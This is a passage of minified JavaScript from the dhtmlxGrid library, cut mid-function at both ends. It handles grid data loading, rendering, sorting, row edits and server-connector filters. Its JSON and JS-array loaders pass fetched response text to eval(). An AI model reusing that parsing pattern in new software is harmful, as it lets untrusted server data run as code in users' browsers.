g=this;this.xmlLoader=function(h){if(!g.callEvent){return}g[\"_process_\"+c](h.xmlDoc);if(!g._contextCallTimer){g.callEvent(\"onXLE\",[g,0,0,h.xmlDoc])}if(e){e();e=null}};return dhx4.ajax.get(a,this.xmlLoader)},loadXMLString:function(c,a){this.parse({responseXML:dhx4.ajax.parse(c)},a,\"xml\")},loadXML:function(a,c){this.load(a,c,\"xml\")},parse:function(e,c,a){if(arguments.length==2&&typeof c!=\"function\"){a=c;c=null}a=a||\"xml\";this._data_type=a;if(a==\"xml\"&&typeof e==\"string\"){e={responseXML:dhx4.ajax.parse(e)}}this[\"_process_\"+a](e);if(!this._contextCallTimer){this.callEvent(\"onXLE\",[this,0,0,e])}if(c){c()}},xml:{top:\"rows\",row:\"./row\",cell:\"./cell\",s_row:\"row\",s_cell:\"cell\",row_attrs:[],cell_attrs:[]},csv:{row:\"\\n\",cell:\",\"},_xml_attrs:function(c){var e={};if(c.attributes.length){for(var a=0;a<c.attributes.length;a++){e[c.attributes[a].name]=c.attributes[a].value}}return e},_process_xml:function(q){if(this._refresh_mode){return this._refreshFromXML(q)}this._parsing=true;var m=dhx4.ajax.xmltop(this.xml.top,q);if(m.tagName!=this.xml.top){return}var o=m.getAttribute(\"dhx_security\");if(o){dhtmlx.security_key=o}this._parseHead(m);var r=dhx4.ajax.xpath(this.xml.row,m);var l=parseInt(m.getAttribute(\"pos\")||0);var n=parseInt(m.getAttribute(\"total_count\")||0);if(!this.pagingOn){var n=Math.min(n,32000000/this._srdh)}var g=false;if(n&&n!=this.rowsBuffer.length){if(!this.rowsBuffer[n-1]){if(this.rowsBuffer.length){g=true}this.rowsBuffer[n-1]=null}if(n<this.rowsBuffer.length){this.rowsBuffer.splice(n,this.rowsBuffer.length-n);g=true}}if(this.isTreeGrid()){return this._process_tree_xml(m)}for(var c=0;c<r.length;c++){if(this.rowsBuffer[c+l]){continue}var a=r[c].getAttribute(\"id\")||(c+l+1);this.rowsBuffer[c+l]={idd:a,data:r[c],_parser:this._process_xml_row,_locator:this._get_xml_data};this.rowsAr[a]=r[c]}this.callEvent(\"onDataReady\",[]);if(g&&this._srnd){var e=this.objBox.scrollTop;this._reset_view();this.objBox.scrollTop=e}else{this.render_dataset()}this._parsing=false},_process_jsarray:function(data){this._parsing=true;data=data.responseText||data;if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data+\";\");data=dhtmlx.temp}for(var i=0;i<data.length;i++){var id=i+1;this.rowsBuffer.push({idd:id,data:data[i],_parser:this._process_jsarray_row,_locator:this._get_jsarray_data});this.rowsAr[id]=data[i]}this.render_dataset();this._parsing=false},_process_csv:function(g){this._parsing=true;g=g.responseText||g;g=g.replace(/\\r/g,\"\");g=g.split(this.csv.row);if(this._csvHdr){this.clearAll();var e=g.splice(0,1)[0].split(this.csv.cell);if(!this._csvAID){e.splice(0,1)}this.setHeader(e.join(this.delim));this.init()}for(var c=0;c<g.length;c++){if(!g[c]&&c==g.length-1){continue}if(this._csvAID){var h=c+1;this.rowsBuffer.push({idd:h,data:g[c],_parser:this._process_csv_row,_locator:this._get_csv_data})}else{var a=g[c].split(this.csv.cell);var h=a.splice(0,1)[0];this.rowsBuffer.push({idd:h,data:a,_parser:this._process_jsarray_row,_locator:this._get_jsarray_data})}this.rowsAr[h]=g[c]}this.render_dataset();this._parsing=false},_process_js:function(a){return this._process_json(a,\"js\")},_process_json:function(data,mode){this._parsing=true;var data=data.responseText||data;if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data+\";\");data=dhtmlx.temp}if(mode==\"js\"){if(data.data){data=data.data}for(var i=0;i<data.length;i++){var row=data[i];var id=row.id||(i+1);this.rowsBuffer.push({idd:id,data:row,_parser:this._process_js_row,_locator:this._get_js_data});this.rowsAr[id]=data[i]}}else{if(data.rows){for(var i=0;i<data.rows.length;i++){var id=data.rows[i].id;this.rowsBuffer.push({idd:id,data:data.rows[i],_parser:this._process_json_row,_locator:this._get_json_data});this.rowsAr[id]=data.rows[i]}}}if(data.dhx_security){dhtmlx.security_key=data.dhx_security}this.callEvent(\"onDataReady\",[]);this.render_dataset();this._parsing=false},render_dataset:function(g,a){if(this._srnd){if(this._fillers){return this._update_srnd_view()}a=Math.min((this._get_view_size()+(this._srnd_pr||0)),this.rowsBuffer.length)}if(this.pagingOn){g=Math.max((g||0),(this.currentPage-1)*this.rowsBufferOutSize);a=Math.min(this.currentPage*this.rowsBufferOutSize,this.rowsBuffer.length)}else{g=g||0;a=a||this.rowsBuffer.length}for(var e=g;e<a;e++){var l=this.render_row(e);if(l==-1){if(this.xmlFileUrl){if(this.callEvent(\"onDynXLS\",[e,(this._dpref?this._dpref:(a-e))])){this.load(this.xmlFileUrl+dhtmlx.url(this.xmlFileUrl)+\"posStart=\"+e+\"&count=\"+(this._dpref?this._dpref:(a-e)),this._data_type)}}a=e;break}if(!l.parentNode||!l.parentNode.tagName){this._insertRowAt(l,e);if(l._attrs.selected||l._attrs.select){this.selectRow(l,l._attrs.call?true:false,true);l._attrs.selected=l._attrs.select=null}}if(this._ads_count&&e-g==this._ads_count){var h=this;this._context_parsing=this._context_parsing||this._parsing;return this._contextCallTimer=window.setTimeout(function(){h._contextCallTimer=null;h.render_dataset(e,a);if(!h._contextCallTimer){if(h._context_parsing){h.callEvent(\"onXLE\",[])}else{h._fixAlterCss()}h.callEvent(\"onDistributedEnd\",[]);h._context_parsing=false}},this._ads_time)}}if(this._ads_count&&e==a){this.callEvent(\"onDistributedEnd\",[])}if(this._srnd&&!this._fillers){var c=this.rowsBuffer.length-a;this._fillers=[];if(this._fake&&!this._realfake){this._fake._fillers=[]}while(c>0){var n=(_isIE||window._FFrv)?Math.min(c,50000):c;var m=this._add_filler(a,n);if(m){this._fillers.push(m)}c-=n;a+=n}}this.setSizes()},render_row:function(c){if(!this.rowsBuffer[c]){return -1}if(this.rowsBuffer[c]._parser){var a=this.rowsBuffer[c];if(this.rowsAr[a.idd]&&this.rowsAr[a.idd].tagName==\"TR\"){return this.rowsBuffer[c]=this.rowsAr[a.idd]}var e=this._prepareRow(a.idd);this.rowsBuffer[c]=e;this.rowsAr[a.idd]=e;a._parser.call(this,e,a.data);this._postRowProcessing(e);return e}return this.rowsBuffer[c]},_get_cell_value:function(c,a,e){if(c._locator){if(this._c_order){a=this._c_order[a]}return c._locator.call(this,c.data,a)}return this.cells3(c,a)[e?e:\"getValue\"]()},sortRows:function(e,l,c){this.editStop();c=(c||\"asc\").toLowerCase();l=(l||this.fldSort[e]);e=e||0;if(this.isTreeGrid()){this.sortTreeRows(e,l,c)}else{var a={};var h=this.cellType[e];var m=\"getValue\";if(h==\"link\"){m=\"getContent\"}if(h==\"dhxCalendar\"||h==\"dhxCalendarA\"){m=\"getDate\"}for(var g=0;g<this.rowsBuffer.length;g++){a[this.rowsBuffer[g].idd]=this._get_cell_value(this.rowsBuffer[g],e,m)}this._sortRows(e,l,c,a)}this.callEvent(\"onAfterSorting\",[e,l,c])},_sortCore:function(e,l,c,a,h){var g=\"sort\";if(this._sst){h.stablesort=this.rowsCol.stablesort;g=\"stablesort\"}if(l.length>4){l=window[l]}if(l==\"cus\"){var m=this._customSorts[e];h[g](function(o,n){return m(a[o.idd],a[n.idd],c,o.idd,n.idd)})}else{if(typeof(l)==\"function\"){h[g](function(o,n){return l(a[o.idd],a[n.idd],c,o.idd,n.idd)})}else{if(l==\"str\"){h[g](function(o,n){if(c==\"asc\"){return a[o.idd]>a[n.idd]?1:(a[o.idd]<a[n.idd]?-1:0)}else{return a[o.idd]<a[n.idd]?1:(a[o.idd]>a[n.idd]?-1:0)}})}else{if(l==\"int\"){h[g](function(q,o){var n=parseFloat(a[q.idd]);n=isNaN(n)?-99999999999999:n;var r=parseFloat(a[o.idd]);r=isNaN(r)?-99999999999999:r;if(c==\"asc\"){return n-r}else{return r-n}})}else{if(l==\"date\"){h[g](function(q,o){var n=Date.parse(a[q.idd])||(Date.parse(\"01/01/1900\"));var r=Date.parse(a[o.idd])||(Date.parse(\"01/01/1900\"));if(c==\"asc\"){return n-r}else{return r-n}})}}}}}},_sortRows:function(e,g,c,a){this._sortCore(e,g,c,a,this.rowsBuffer);this._reset_view();this.callEvent(\"onGridReconstructed\",[])},_reset_view:function(e){if(!this.obj.rows[0]){return}if(this._lahRw){this._unsetRowHover(0,true)}this.callEvent(\"onResetView\",[]);var a=this.obj.rows[0].parentNode;var g=a.removeChild(a.childNodes[0],true);if(_isKHTML){for(var c=a.parentNode.childNodes.length-1;c>=0;c--){if(a.parentNode.childNodes[c].tagName==\"TR\"){a.parentNode.removeChild(a.parentNode.childNodes[c],true)}}}else{if(_isIE){for(var c=a.childNodes.length-1;c>=0;c--){a.childNodes[c].removeNode(true)}}else{a.innerHTML=\"\"}}a.appendChild(g);this.rowsCol=dhtmlxArray();if(this._sst){this.enableStableSorting(true)}this._fillers=this.undefined;if(!e){if(_isIE&&this._srnd){this.render_dataset()}else{this.render_dataset()}}},deleteRow:function(c,g){if(!g){g=this.getRowById(c)}if(!g){return}this.editStop();if(!this._realfake){if(this.callEvent(\"onBeforeRowDeleted\",[c])==false){return false}}var a=0;if(this.cellType._dhx_find(\"tree\")!=-1&&!this._realfake){a=this._h2.get[c].parent.id;this._removeTrGrRow(g)}else{if(g.parentNode){g.parentNode.removeChild(g)}var l=this.rowsCol._dhx_find(g);if(l!=-1){this.rowsCol._dhx_removeAt(l)}for(var e=0;e<this.rowsBuffer.length;e++){if(this.rowsBuffer[e]&&this.rowsBuffer[e].idd==c){this.rowsBuffer._dhx_removeAt(e);l=e;break}}}this.rowsAr[c]=null;for(var e=0;e<this.selectedRows.length;e++){if(this.selectedRows[e].idd==c){this.selectedRows._dhx_removeAt(e)}}if(this._srnd){for(var e=0;e<this._fillers.length;e++){var h=this._fillers[e];if(!h){continue}if(h[0]>=l){this._update_fillers(e,0,-1)}else{if(h[0]+h[1]>l){this._update_fillers(e,-1,0)}}}this._update_srnd_view()}if(this.pagingOn){this.changePage()}if(!this._realfake){this.callEvent(\"onAfterRowDeleted\",[c,a])}this.callEvent(\"onGridReconstructed\",[]);if(this._ahgr){this.setSizes()}return true},_addRow:function(l,m,c){if(c==-1||typeof c==\"undefined\"){c=this.rowsBuffer.length}if(typeof m==\"string\"){m=m.split(this.delim)}var n=this._prepareRow(l);n._attrs={};for(var e=0;e<n.childNodes.length;e++){n.childNodes[e]._attrs={}}this.rowsAr[n.idd]=n;if(this._h2){this._h2.get[n.idd].buff=n}this._fillRow(n,m);this._postRowProcessing(n);if(this._skipInsert){this._skipInsert=false;return this.rowsAr[n.idd]=n}if(this.pagingOn){this.rowsBuffer._dhx_insertAt(c,n);this.rowsAr[n.idd]=n;return n}if(this._fillers){this.rowsCol._dhx_insertAt(c,null);this.rowsBuffer._dhx_insertAt(c,n);if(this._fake){this._fake.rowsCol._dhx_insertAt(c,null)}this.rowsAr[n.idd]=n;var o=false;for(var g=0;g<this._fillers.length;g++){var h=this._fillers[g];if(h&&h[0]<=c&&(h[0]+h[1])>=c){h[1]=h[1]+1;var a=h[2].firstChild.style.height=parseInt(h[2].firstChild.style.height)+this._srdh+\"px\";o=true;if(this._fake){this._fake._fillers[g][1]++;this._fake._fillers[g][2].firstChild.style.height=a}}if(h&&h[0]>c){h[0]=h[0]+1;if(this._fake){this._fake._fillers[g][0]++}}}if(!o){this._fillers.push(this._add_filler(c,1,(c==0?{parentNode:this.obj.rows[0].parentNode,nextSibling:(this.rowsCol[1])}:this.rowsCol[c-1])))}return n}this.rowsBuffer._dhx_insertAt(c,n);return this._insertRowAt(n,c)},addRow:function(a,g,e){var c=this._addRow(a,g,e);if(!this.dragContext){this.callEvent(\"onRowAdded\",[a])}if(this.pagingOn){this.changePage(this.currentPage)}if(this._srnd){this._update_srnd_view()}c._added=true;if(this._ahgr){this.setSizes()}this.callEvent(\"onGridReconstructed\",[]);return c},_insertRowAt:function(e,g,c){this.rowsAr[e.idd]=e;if(this._skipInsert){this._skipInsert=false;return e}if((g<0)||((!g)&&(parseInt(g)!==0))){g=this.rowsCol.length}else{if(g>this.rowsCol.length){g=this.rowsCol.length}}if(this._cssEven){var a=e.className.replace(this._cssUnEven,\"\");if((this._cssSP?this.getLevel(e.idd):g)%2==1){e.className=a+\" \"+this._cssUnEven+(this._cssSU?(\" \"+this._cssUnEven+\"_\"+this.getLevel(e.idd)):\"\")}else{e.className=a+\" \"+this._cssEven+(this._cssSU?(\" \"+this._cssEven+\"_\"+this.getLevel(e.idd)):\"\")}}if(!c){if((g==(this.obj.rows.length-1))||(!this.rowsCol[g])){if(_isKHTML){this.obj.appendChild(e)}else{this.obj.firstChild.appendChild(e)}}else{this.rowsCol[g].parentNode.insertBefore(e,this.rowsCol[g])}}this.rowsCol._dhx_insertAt(g,e);this.callEvent(\"onRowInserted\",[e,g]);return e},getRowById:function(e){var c=this.rowsAr[e];if(c){if(c.tagName!=\"TR\"){for(var a=0;a<this.rowsBuffer.length;a++){if(this.rowsBuffer[a]&&this.rowsBuffer[a].idd==e){return this.render_row(a)}}if(this._h2){return this.render_row(null,c.idd)}}return c}return null},cellById:function(c,a){return this.cells(c,a)},cells:function(g,e){if(arguments.length==0){return this.cells4(this.cell)}else{var h=this.getRowById(g)}var a=(h._childIndexes?h.childNodes[h._childIndexes[e]]:h.childNodes[e]);if(!a&&h._childIndexes){a=h.firstChild||{}}return this.cells4(a)},cellByIndex:function(c,a){return this.cells2(c,a)},cells2:function(g,e){var h=this.render_row(g);var a=(h._childIndexes?h.childNodes[h._childIndexes[e]]:h.childNodes[e]);if(!a&&h._childIndexes){a=h.firstChild||{}}return this.cells4(a)},cells3:function(e,c){var a=(e._childIndexes?e.childNodes[e._childIndexes[c]]:e.childNodes[c]);return this.cells4(a)},cells4:function(a){var c=window[\"eXcell_\"+(a._cellType||this.cellType[a._cellIndex])];if(c){return new c(a)}},cells5:function(a,e){var e=e||(a._cellType||this.cellType[a._cellIndex]);if(!this._ecache[e]){if(!window[\"eXcell_\"+e]){var c=eXcell_ro}else{var c=window[\"eXcell_\"+e]}this._ecache[e]=new c(a)}this._ecache[e].cell=a;return this._ecache[e]},dma:function(a){if(!this._ecache){this._ecache={}}if(a&&!this._dma){this._dma=this.cells4;this.cells4=this.cells5}else{if(!a&&this._dma){this.cells4=this._dma;this._dma=null}}},getRowsNum:function(){return this.rowsBuffer.length},enableEditTabOnly:function(a){if(arguments.length>0){this.smartTabOrder=dhx4.s2b(a)}else{this.smartTabOrder=true}},setExternalTabOrder:function(h,a){var c=this;this.tabStart=(typeof(h)==\"object\")?h:document.getElementById(h);var e=this.tabStart.onkeydown;this.tabStart.onkeydown=function(m){if(e){e.call(this,m)}var l=(m||window.event);if(l.keyCode==9&&!l.shiftKey){l.cancelBubble=true;c.selectCell(0,0,0,0,1);if(c.smartTabOrder&&c.cells2(0,0).isDisabled()){c._key_events.k9_0_0.call(c)}this.blur();return false}};if(_isOpera){this.tabStart.onkeypress=this.tabStart.onkeydown}this.tabEnd=(typeof(a)==\"object\")?a:document.getElementById(a);var g=this.tabEnd.onkeydown;this.tabEnd.onkeydown=this.tabEnd.onkeypress=function(m){if(g){g.call(this,m)}var l=(m||window.event);if(l.keyCode==9&&l.shiftKey){l.cancelBubble=true;c.selectCell((c.getRowsNum()-1),(c.getColumnCount()-1),0,0,1);if(c.smartTabOrder&&c.cells2((c.getRowsNum()-1),(c.getColumnCount()-1)).isDisabled()){c._key_events.k9_0_1.call(c)}this.blur();return false}};if(_isOpera){this.tabEnd.onkeypress=this.tabEnd.onkeydown}},uid:function(){if(!this._ui_seed){this._ui_seed=(new Date()).valueOf()}return this._ui_seed++},clearAndLoad:function(){var a=this._pgn_skin;this._pgn_skin=null;this.clearAll();this._pgn_skin=a;this.load.apply(this,arguments)},getStateOfView:function(){if(this.pagingOn){var a=(this.currentPage-1)*this.rowsBufferOutSize;return[this.currentPage,a,Math.min(a+this.rowsBufferOutSize,this.rowsBuffer.length),this.rowsBuffer.length]}return[Math.floor(this.objBox.scrollTop/this._srdh),Math.ceil(parseInt(this.objBox.offsetHeight)/this._srdh),this.rowsBuffer.length]}};(function(){function g(m,n){this[m]=n}function l(m,n){this[m].call(this,n)}function e(m,n){this[m].call(this,n.join(this.delim))}function a(m,q){for(var o=0;o<q.length;o++){if(typeof q[o]==\"object\"){var r=this.getCombo(o);for(var n in q[o]){r.put(n,q[o][n])}}}}function h(m,v,q){var x=1;var u=[];function w(A,y,C){if(!u[y]){u[y]=[]}if(typeof C==\"object\"){C.toString=function(){return this.text}}u[y][A]=C}for(var r=0;r<v.length;r++){if(typeof(v[r])==\"object\"&&v[r].length){for(var o=0;o<v[r].length;o++){w(r,o,v[r][o])}}else{w(r,0,v[r])}}for(var r=0;r<u.length;r++){for(var o=0;o<u[0].length;o++){var s=u[r][o];u[r][o]=(s||\"\").toString()||\"&nbsp;\";if(s&&s.colspan){for(var n=1;n<s.colspan;n++){w(o+n,r,\"#cspan\")}}if(s&&s.rowspan){for(var n=1;n<s.rowspan;n++){w(o,r+n,\"#rspan\")}}}}this.setHeader(u[0]);for(var r=1;r<u.length;r++){this.attachHeader(u[r])}}var c=[{name:\"label\",def:\"&nbsp;\",operation:\"setHeader\",type:h},{name:\"id\",def:\"\",operation:\"columnIds\",type:g},{name:\"width\",def:\"*\",operation:\"setInitWidths\",type:e},{name:\"align\",def:\"left\",operation:\"cellAlign\",type:g},{name:\"valign\",def:\"middle\",operation:\"cellVAlign\",type:g},{name:\"sort\",def:\"na\",operation:\"fldSort\",type:g},{name:\"type\",def:\"ro\",operation:\"setColTypes\",type:e},{name:\"options\",def:\"\",operation:\"\",type:a}];dhtmlx.extend_api(\"dhtmlXGridObject\",{_init:function(m){return[m.parent]},image_path:\"setImagePath\",columns:\"columns\",rows:\"rows\",headers:\"headers\",skin:\"setSkin\",smart_rendering:\"enableSmartRendering\",css:\"enableAlterCss\",auto_height:\"enableAutoHeight\",save_hidden:\"enableAutoHiddenColumnsSaving\",save_cookie:\"enableAutoSaving\",save_size:\"enableAutoSizeSaving\",auto_width:\"enableAutoWidth\",block_selection:\"enableBlockSelection\",csv_id:\"enableCSVAutoID\",csv_header:\"enableCSVHeader\",cell_ids:\"enableCellIds\",colspan:\"enableColSpan\",column_move:\"enableColumnMove\",context_menu:\"enableContextMenu\",distributed:\"enableDistributedParsing\",drag:\"enableDragAndDrop\",drag_order:\"enableDragOrder\",tabulation:\"enableEditTabOnly\",header_images:\"enableHeaderImages\",header_menu:\"enableHeaderMenu\",keymap:\"enableKeyboardSupport\",mouse_navigation:\"enableLightMouseNavigation\",markers:\"enableMarkedCells\",math_editing:\"enableMathEditing\",math_serialization:\"enableMathSerialization\",drag_copy:\"enableMercyDrag\",multiline:\"enableMultiline\",multiselect:\"enableMultiselect\",save_column_order:\"enableOrderSaving\",hover:\"enableRowsHover\",rowspan:\"enableRowspan\",smart:\"enableSmartRendering\",save_sorting:\"enableSortingSaving\",stable_sorting:\"enableStableSorting\",undo:\"enableUndoRedo\",csv_cell:\"setCSVDelimiter\",date_format:\"setDateFormat\",drag_behavior:\"setDragBehavior\",editable:\"setEditable\",without_header:\"setNoHeader\",submit_changed:\"submitOnlyChanged\",submit_serialization:\"submitSerialization\",submit_selected:\"submitOnlySelected\",submit_id:\"submitOnlyRowID\",xml:\"load\"},{columns:function(r){for(var m=0;m<c.length;m++){var q=[];for(var n=0;n<r.length;n++){q[n]=r[n][c[m].name]||c[m].def}var o=c[m].type||l;o.call(this,c[m].operation,q,r)}this.init()},rows:function(m){},headers:function(n){for(var m=0;m<n.length;m++){this.attachHeader(n[m])}}})})();dhtmlXGridObject.prototype._dp_init=function(a){a.attachEvent(\"insertCallback\",function(c,g){if(this.obj._h2){this.obj.addRow(g,e,null,parent)}else{this.obj.addRow(g,[],0)}var e=this.obj.getRowById(g);if(e){this.obj._process_xml_row(e,c.firstChild);this.obj._postRowProcessing(e)}});a.attachEvent(\"updateCallback\",function(c,g){var e=this.obj.getRowById(g);if(e){this.obj._process_xml_row(e,c.firstChild);this.obj._postRowProcessing(e)}});a.attachEvent(\"deleteCallback\",function(c,e){this.obj.setUserData(e,this.action_param,\"true_deleted\");this.obj.deleteRow(e)});a._methods=[\"setRowTextStyle\",\"setCellTextStyle\",\"changeRowId\",\"deleteRow\"];this.attachEvent(\"onEditCell\",function(g,h,e){if(a._columns&&!a._columns[e]){return true}var c=this.cells(h,e);if(g==1){if(c.isCheckbox()){a.setUpdated(h,true)}}else{if(g==2){if(c.wasChanged()){a.setUpdated(h,true)}}}return true});this.attachEvent(\"onRowPaste\",function(c){a.setUpdated(c,true)});this.attachEvent(\"onUndo\",function(c){a.setUpdated(c,true)});this.attachEvent(\"onRowIdChange\",function(g,c){var e=a.findRow(g);if(e<a.updatedRows.length){a.updatedRows[e]=c}});this.attachEvent(\"onSelectStateChanged\",function(c){if(a.updateMode==\"row\"){a.sendData()}return true});this.attachEvent(\"onEnter\",function(e,c){if(a.updateMode==\"row\"){a.sendData()}return true});this.attachEvent(\"onBeforeRowDeleted\",function(c){if(a._silent_mode||(!this.rowsAr[c])){return true}if(this.dragContext&&a.dnd){window.setTimeout(function(){a.setUpdated(c,true)},1);return true}var e=a.getState(c);if(this._h2){this._h2.forEachChild(c,function(g){a.setUpdated(g.id,false);a.markRow(g.id,true,\"deleted\")},this)}if(e==\"inserted\"){a.set_invalid(c,false);a.setUpdated(c,false);return true}if(e==\"deleted\"){return false}if(e==\"true_deleted\"){a.setUpdated(c,false);return true}a.setUpdated(c,true,\"deleted\");return false});this.attachEvent(\"onBindUpdate\",function(c){if(typeof c==\"object\"){c=c.id}a.setUpdated(c,true)});this.attachEvent(\"onRowAdded\",function(c){if(this.dragContext&&a.dnd){return true}a.setUpdated(c,true,\"inserted\");return true});a._getRowData=function(g,s){var m=[];m.gr_id=g;if(this.obj.isTreeGrid()){m.gr_pid=this.obj.getParentId(g)}var e=this.obj.getRowById(g);for(var n=0;n<this.obj._cCount;n++){if(this.obj._c_order){var o=this.obj._c_order[n]}else{var o=n}var q=this.obj.cells(e.idd,n);if(this._changed&&!q.wasChanged()){continue}if(this._endnm){m[this.obj.getColumnId(n)]=q.getValue()}else{m[\"c\"+o]=q.getValue()}}var h=this.obj.UserData[g];if(h){for(var l=0;l<h.keys.length;l++){if(h.keys[l]&&h.keys[l].indexOf(\"__\")!=0){m[h.keys[l]]=h.values[l]}}}var h=this.obj.UserData.gridglobaluserdata;if(h){for(var l=0;l<h.keys.length;l++){m[h.keys[l]]=h.values[l]}}return m};a._clearUpdateFlag=function(e){var g=this.obj.getRowById(e);if(g){for(var c=0;c<this.obj._cCount;c++){this.obj.cells(e,c).cell.wasChanged=false}}};a.checkBeforeUpdate=function(l){var h=true;var c=[];for(var g=0;g<this.obj._cCount;g++){if(this.mandatoryFields[g]){var e=this.mandatoryFields[g].call(this.obj,this.obj.cells(l,g).getValue(),l,g);if(typeof e==\"string\"){this.messages.push(e);h=false}else{h&=e;c[g]=!e}}}if(!h){this.set_invalid(l,\"invalid\",c);this.setUpdated(l,false)}return h}};dhx4.attachEvent(\"onGridCreated\",function(c){c._con_f_used=[].concat(c._con_f_used);dhtmlXGridObject.prototype._con_f_used=[];var a=function(l){l=l.replace(/(\\?|\\&)connector[^\\f]*/g,\"\");return l+(l.indexOf(\"?\")!=-1?\"&\":\"?\")+\"connector=true\"+(this.hdr.rows.length>0?\"&dhx_no_header=1\":\"\")};var h=function(l){return a.call(this,l)+(this._connector_sorting||\"\")+(this._connector_filter||\"\")};var g=function(m,n,l){this._connector_sorting=\"&dhx_sort[\"+n+\"]=\"+l;return h.call(this,m)};var e=function(m,l,o){var q=[];for(var n=0;n<l.length;n++){q[n]=\"dhx_filter[\"+l[n]+\"]=\"+encodeURIComponent(o[n])}this._connector_filter=\"&\"+q.join(\"&\");return h.call(this,m)};c.attachEvent(\"onCollectValues\",function(l){if(this._con_f_used[l]){if(typeof(this._con_f_used[l])==\"object\"){return this._con_f_used[l]}else{return false}}return true});c.attachEvent(\"onDynXLS\",function(){if(this.xmlFileUrl){this.xmlFileUrl=h.call(this,this.xmlFileUrl)}return true});c.attachEvent(\"onBeforeSorting\",function(o,n,m){if(n==\"connector\"){var l=this;this.clearAndLoad(g.call(this,this.xmlFileUrl,o,m),function(){l.setSortImgState(true,o,m)});return false}return true});c.attachEvent(\"onFilterStart\",function(m,l){if(this._con_f_used.length){var o=this.getSortingState();var n=this;this.clearAndLoad(e.call(this,this.xmlFileUrl,m,l));if(o.length){n.setSortImgState(true,o[0],o[1])}return false}return true})});dhtmlXGridObject.prototype._con_f_used=[];dhtmlXGridObject.prototype._in_header_connector_text_filter=function(c,a){if(!this._con_f_used[a]){this._con_f_used[a]=1}return this._in_header_text_filter(c,a)};dhtmlXGridObject.prototype._in_header_connector_select_filter=function(c,a){if(!this._con_f_used[a]){this._con_f_used[a]=2}return this._in_header_select_filter(c,a)};if(!dhtmlXGridObject.prototype.load_connector){dhtmlXGridObject.prototype.load_connector=dhtmlXGridObject.prototype.load;dhtmlXGridObject.prototype.load=function(c,h,g){if(!this._colls_loaded&&this.cellType){var a=[];for(var e=0;e<this.cellType.length;e++){if(this.cellType[e].indexOf(\"co\")==0||this.cellType[e].indexOf(\"clist\")==0||this._con_f_used[e]==2){a.push(e)}}if(a.length){arguments[0]+=(arguments[0].indexOf(\"?\")!=-1?\"&\":\"?\")+\"connector=true&dhx_colls=\"+a.join(\",\")}}return this.load_connector.apply(this,arguments)};dhtmlXGridObject.prototype._parseHead_connector=dhtmlXGridObject.prototype._parseHead;dhtmlXGridObject.prototype._parseHead=function(c,u,q){this._parseHead_connector.apply(this,arguments);if(!this._colls_loaded){var r=dhx4.ajax.xpath(\"./coll_options\",arguments[0]);for(var m=0;m<r.length;m++){var o=r[m].getAttribute(\"for\");var s=[];var g=null;if(this.cellType[o]==\"combo\"){g=this.getColumnCombo(o)}else{if(this.cellType[o].indexOf(\"co\")==0){g=this.getCombo(o)}}var l=dhx4.ajax.xpath(\"./item\",r[m]);var a=[];for(var h=0;h<l.length;h++){var e=l[h].getAttribute(\"value\");if(g){var n=l[h].getAttribute(\"label\")||e;if(g.addOption){a.push([e,n])}else{g.put(e,n)}s[s.length]=n}else{s[s.length]=e}}if(a.length){if(g){g.addOption(a)}}else{if(s.length&&!g){if(this.registerCList){this.registerCList(o*1,s)}}}if(this._con_f_used[o*1]){this._con_f_used[o*1]=s}}this._colls_loaded=true}}}function dhtmlXGridCellObject(a){this.destructor=function(){this.cell.obj=null;this.cell=null;this.grid=null;this.base=null;return null};this.cell=a;this.getValue=function(){if((this.cell.textContent)&&(this.cell.textContent.tagName==\"TEXTAREA\")){return this.cell.textContent.value}else{return this.cell.innerHTML._dhx_trim()}};this.getMathValue=function(){if(this.cell.original){return this.cell.original}else{return this.getValue()}};this.getFont=function(){arOut=new Array(3);if(this.cell.style.fontFamily){arOut[0]=this.cell.style.fontFamily}if(this.cell.style.fontWeight==\"bold\"||this.cell.parentNode.style.fontWeight==\"bold\"){arOut[1]=\"bold\"}if(this.cell.style.fontStyle==\"italic\"||this.cell.parentNode.style.fontWeight==\"italic\"){arOut[1]+=\"italic\"}if(this.cell.style.fontSize){arOut[2]=this.cell.style.fontSize}else{arOut[2]=\"\"}return arOut.join(\"-\")};this.getTextColor=function(){if(this.cell.style.color){return this.cell.style.color}else{return\"#000000\"}};this.getBgColor=function(){if(this.cell.bgColor){return this.cell.bgColor}else{return\"#FFFFFF\"}};this.getHorAlign=function(){if(this.cell.style.textAlign){return this.cell.style.textAlign}else{if(this.cell.style.textAlign){return this.cell.style.textAlign}else{return\"left\"}}};this.getWidth=function(){return this.cell.scrollWidth};this.setFont=function(c){fntAr=c.split(\"-\");this.cell.style.fontFamily=fntAr[0];this.cell.style.fontSize=fntAr[fntAr.length-1];if(fntAr.length==3){if(/bold/.test(fntAr[1])){this.cell.style.fontWeight=\"bold\"}if(/italic/.test(fntAr[1])){this.cell.style.fontStyle=\"italic\"}if(/underline/.test(fntAr[1])){this.cell.style.textDecoration=\"underline\"}}};this.setTextColor=function(c){this.cell.style.color=c};this.setBgColor=function(c){if(c==\"\"){c=null}this.cell.style.background=c};this.setHorAlign=function(c){if(c.length==1){if(c==\"c\"){this.cell.style.textAlign=\"center\"}else{if(c==\"l\"){this.cell.style.textAlign=\"left\"}else{this.cell.style.textAlign=\"right\"}}}else{this.cell.style.textAlign=c}};this.wasChanged=function(){if(this.cell.wasChanged){return true}else{return false}};this.isCheckbox=function(){var c=this.cell.firstChild;if(c&&c.tagName==\"INPUT\"){type=c.type;if(type==\"radio\"||type==\"checkbox\"){return true}else{return false}}else{return false}};this.isChecked=function(){if(this.isCheckbox()){return this.cell.firstChild.checked}};this.isDisabled=function(){return this.cell._disabled};this.setChecked=function(c){if(this.isCheckbox()){if(c!=\"true\"&&c!=1){c=false}this.cell.firstChild.checked=c}};this.setDisabled=function(c){if(c!=\"true\"&&c!=1){c=false}if(this.isCheckbox()){this.cell.firstChild.disabled=c;if(this.disabledF){this.disabledF(c)}}this.cell._disabled=c}}dhtmlXGridCellObject.prototype={getAttribute:function(a){return this.cell._attrs[a]},setAttribute:function(a,c){this.cell._attrs[a]=c},getInput:function(){if(this.obj&&(this.obj.tagName==\"INPUT\"||this.obj.tagName==\"TEXTAREA\")){return this.obj}var a=(this.obj||this.cell).getElementsByTagName(\"TEXTAREA\");if(!a.length){a=(this.obj||this.cell).getElementsByTagName(\"INPUT\")}return 